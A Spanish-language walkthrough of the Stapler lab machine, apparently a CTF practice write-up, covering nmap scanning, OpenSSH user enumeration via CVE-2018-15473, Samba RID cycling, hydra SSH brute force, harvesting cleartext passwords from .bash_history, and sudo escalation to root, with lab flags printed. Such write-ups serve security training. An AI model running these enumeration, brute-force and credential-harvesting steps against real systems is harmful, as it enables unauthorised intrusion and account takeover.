Stapler
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Samba entrega la lista completa de usuarios locales por RID brute (SIDS-1-22-1), y el OpenSSH 7.2 confirma cuentas por user enumeration (CVE-2018-15473). Con esa lista,hydraprueba usuario=contraseña por SSH y caeSHayslett:SHayslett. En/home, el.bash_historydeJKanodeguardasshpass -p JZQuyIN5 ssh peter@localhost, es decir la contraseña depeter; ypeterestá en el gruposudo, así que unsudo suda root.
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. En UDP asoma NetBIOS (137), y en TCP hay un abanico grande, con SMB y SSH como los dos frentes útiles:
sudo nmap -sU --top-ports 1000 -Pn -n --open 192.168.144.148
sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.144.148PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
53/tcp open domain
80/tcp open http
139/tcp open netbios-ssn
666/tcp open doom
3306/tcp open mysql
12380/tcp open unknownnmap -p21,22,53,80,139,666,3306,12380 -sCV 192.168.144.148 -oN targetedScanPORT STATE SERVICE VERSION
21/tcp open ftp
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4
53/tcp open domain
80/tcp open http
139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp open doom
3306/tcp open mysql
12380/tcp open unknownSSH - TCP 22 (user enumeration)
OpenSSH 7.2p2 es anterior a la 7.7, vulnerable a enumeración de usuarios por CVE-2018-15473: el servidor responde de forma distinguible ante un usuario válido frente a uno inexistente. Sirve para confirmar cuentas antes de un ataque de contraseña:
searchsploit -m linux/remote/45939.py
python2 45939.py 192.168.144.148 _apt # [+] _apt is a valid username
python2 45939.py 192.168.144.148 _pt # [-] invalidProbar nombre a nombre no escala, así que el exploit se envuelve en un bucle que lo lanza sobre una lista de nombres candidatos y solo imprime los que el servidor confirma como válidos:
./ssh_user_enum.sh
[+] User: mail exists
[+] User: peter exists
[+] User: news exists
[+] User: jamie exists
[+] User: man exists
[+] User: bin exists
[+] User: games existsEntre los confirmados aparece peter, que más adelante resultará ser la pieza clave. Aun así, esta vía solo valida nombres que ya conocemos o adivinamos; para obtener la lista completa hace falta el SMB.
SMB - TCP 139 (RID brute)
enum4linux saca la lista completa de usuarios del sistema recorriendo el SID S-1-22-1 (los usuarios Unix locales, RID cycling):
enum4linux 192.168.144.148S-1-22-1-1000 Unix User\peter
S-1-22-1-1005 Unix User\SHayslett
S-1-22-1-1013 Unix User\JKanode
... (30 usuarios: RNunemaker, ETollefson, MBassin, jamie, elly, www ...)Se limpia a un userlist de 30 nombres, que es justo lo que necesita un ataque de contraseña.
Shell como SHayslett
Fuerza bruta SSH (usuario = contraseña)
Con la lista de usuarios, hydra prueba por SSH usando el mismo fichero como diccionario de usuarios y de contraseñas: la apuesta clásica de que alguien tenga la contraseña igual al nombre de usuario. Cae:
hydra -L userlist -P userlist -t 64 ssh://192.168.144.148 -I
# [22][ssh] host: 192.168.144.148 login: SHayslett password: SHayslett
SHayslett@red:~$ cat local.txt && hostname
ed53f1659f1c050be8d390e21c9c54eb
red.initech
Shell como peter
Credenciales en .bash_history
SHayslett puede leer los /home de otros usuarios. Un grep recursivo por "pass" saca oro del historial de JKanode:
grep -ri pass /home 2>/dev/null./JKanode/.bash_history:sshpass -p thisimypassword ssh JKanode@localhost
./JKanode/.bash_history:sshpass -p JZQuyIN5 ssh peter@localhostEl historial de JKanode deja escritas dos contraseñas en claro, y una de ellas es la de peter (JZQuyIN5). peter es interesante porque está en el grupo sudo:
id peter # ...,27(sudo)
su peter # contraseña: JZQuyIN5
SHayslett@red:/home$ su peter
Password:
red% whoami
petersu peter con JZQuyIN5 (la contraseña del .bash_history) nos deja como peter, miembro del grupo sudo.
Escalada de Privilegios
Abuso del grupo sudo
peter pertenece al grupo sudo, que en Ubuntu concede sudo sin restricción de comando. No hace falta buscar un binario concreto: sudo su da directamente una shell de root:
sudo su
red% sudo su
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for peter:
/home script /dev/null -c bash
Script started, file is /dev/null
root@red:/home# whoami
rootEl sudo su pide la contraseña del propio peter (la misma JZQuyIN5 del historial) y devuelve una shell de root; el script /dev/null -c bash posterior solo sirve para dejar un prompt cómodo.
local.txt / proof.txt
SHayslett@red:~$ cat local.txt
ed53f1659f1c050be8d390e21c9c54eb
root@red:~# cat proof.txt
58f432bb0e33c5350e8408954f9fe79b
Cadena de ataque
Samba (139) → enum4linux RID brute (SID S-1-22-1) → 30 usuarios
(+ OpenSSH 7.2 user enum CVE-2018-15473 confirma cuentas)
└─ hydra -L userlist -P userlist ssh → SHayslett:SHayslett
└─ grep -ri pass /home → JKanode/.bash_history: peter:JZQuyIN5
└─ su peter (grupo sudo)
└─ sudo su → rootLecciones aprendidas
- Samba expone los usuarios Unix locales por el SID
S-1-22-1; el RID cycling conenum4linuxlos recorre sin credenciales y construye la lista de objetivos para el ataque de contraseña. - OpenSSH
< 7.7filtra la validez de usuarios (CVE-2018-15473) por diferencias de tiempo/respuesta; es una fuente de confirmación de cuentas independiente del SMB. - Reutilizar el nombre de usuario como contraseña sigue apareciendo:
hydra -L userlist -P userlist(mismo fichero para ambos) es una prueba barata que aquí abre la primera puerta. - Los
.bash_historylegibles son un tesoro:sshpass -p <key>deja contraseñas en claro. Ungrep -ri pass /homees de las primeras cosas que hacer con cualquier shell. - El grupo
sudoen Debian/Ubuntu es equivalente a root: pertenecer a él permitesudo susin más. La contraseña de un usuario en ese grupo es, a efectos prácticos, la contraseña de root.